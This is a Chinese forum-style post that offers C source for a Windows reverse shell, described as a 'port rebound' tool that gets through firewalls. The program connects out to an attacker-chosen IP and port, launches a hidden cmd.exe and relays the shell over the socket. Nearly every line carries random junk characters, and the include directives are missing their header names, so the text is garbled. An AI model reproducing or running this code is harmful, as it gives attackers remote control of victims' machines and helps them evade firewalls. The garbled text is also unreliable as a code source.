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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Dd-a*6|x  
s0 Z)BR #  
/* ============================== 1Tev&J  
Rebound port in Windows NT C~. T[Mlu  
By wind,2006/7 kjXwVGK=P<  
===============================*/ s?4nR:ZC}  
#include r`RLDN!`  
#include .RyuWh!5  
'q RQO(9&m  
#pragma comment(lib,"wsock32.lib") bqaj~:}@  
Q ;5A~n  
void OutputShell(); u1d%wOY  
SOCKET sClient; @gM}&G08  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; sD&V_ &i  
{+3g*s/HI  
void main(int argc,char **argv) C@<gCMj,"  
{ 6Ypc]ym=J  
WSADATA stWsaData; xr7M#n  
int nRet; a`?Vc}&  
SOCKADDR_IN stSaiClient,stSaiServer;  5PC:4  
{wDe#c{_  
if(argc != 3) <Of-,PcCV  
{ v!$?;"d+  
printf("Useage:\n\rRebound DestIP DestPort\n"); wM3m'# xJ  
return; -lAY*2Jg  
} hTcU %Nc  
.[3C  
WSAStartup(MAKEWORD(2,2),&stWsaData); Ttp%U8-LJR  
/-WmOn*  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4gUx#_AaG  
"/2kf)l{4  
stSaiClient.sin_family = AF_INET; 2iO{*cB  
stSaiClient.sin_port = htons(0); kg,\l9AM  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); u,N<U t  
]1W]  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )r)ZmS5O  
{ 8#o2qQ2+  
printf("Bind Socket Failed!\n"); \w(0k^<7  
return; ; qr?[{G  
} 6':Egh[;  
w ykaf   
stSaiServer.sin_family = AF_INET; 6UL9+9[C  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N.ZuSkRM  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2"%f:?xV{  
/<%L&  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) SZ7; } r8  
{ K@ &;f( Y  
printf("Connect Error!"); M-q5Jfm  
return; rw0s$~'  
} .j=mT[N,I  
OutputShell(); 'op_GW  
} ]<c\+9  
.~q>e*8AH  
void OutputShell() /^bU8E&^M  
{ n[# **s  
char szBuff[1024]; g-NrxyTBlx  
SECURITY_ATTRIBUTES stSecurityAttributes; ra_v+HR7  
OSVERSIONINFO stOsversionInfo; j'hWhLax  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; I:YgKs)[  
STARTUPINFO stStartupInfo; e#k)F.TZ:%  
char *szShell; >l=^3B,j  
PROCESS_INFORMATION stProcessInformation; IY mkZ?cW  
unsigned long lBytesRead; _{eA8J(A<  
G-;EB  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?du*ITim  
' ~fP#y  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?C   
stSecurityAttributes.lpSecurityDescriptor = 0; 6K=}n] n  
stSecurityAttributes.bInheritHandle = TRUE; 82?LZ?!PD  
@L0)k^:  
!(Q@1 c&z  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >B*zzj  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~,xso0  
@U1t~f^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P97i<pB Y_  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gkKNOus  
stStartupInfo.wShowWindow = SW_HIDE; BW`;QF<  
stStartupInfo.hStdInput = hReadPipe; U)Tl<l<  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vz1I/IdTd  
#TH(:I=[  
GetVersionEx(&stOsversionInfo); .C ,dV7  
b^P\Q s*m  
switch(stOsversionInfo.dwPlatformId) H\9ePo\b~  
{ P_75-0G  
case 1: i*A_Po  
szShell = "command.com"; GxC\Nj#  
break; HEhBOER?  
default: )p:+!sX(  
szShell = "cmd.exe"; &n0Ag]$P  
break; =Mxu,A  
} /g!Xe]Ss  
$&Z#2 X.  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); NVB#=!S  
h]&~yuI>  
send(sClient,szMsg,77,0); t -fmA?\  
while(1) Sl% 6F!  
{ /;E=)(w  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :_,3")-v  
if(lBytesRead) . NxskXq)  
{ /~c9'38  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); W`TSR?4~t?  
send(sClient,szBuff,lBytesRead,0); `gJ$fTi&  
} T, PN6d  
else e#F3KLSL`  
{ 6BEDk!  
lBytesRead=recv(sClient,szBuff,1024,0); MIWc @.i2  
if(lBytesRead<=0) break; >xsY"N&1i'  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); s|TO9N)pO  
} J6rWe  
} %,aSD#l`f  
x{Dw?6TP  
return; 'SrDc'?  
}
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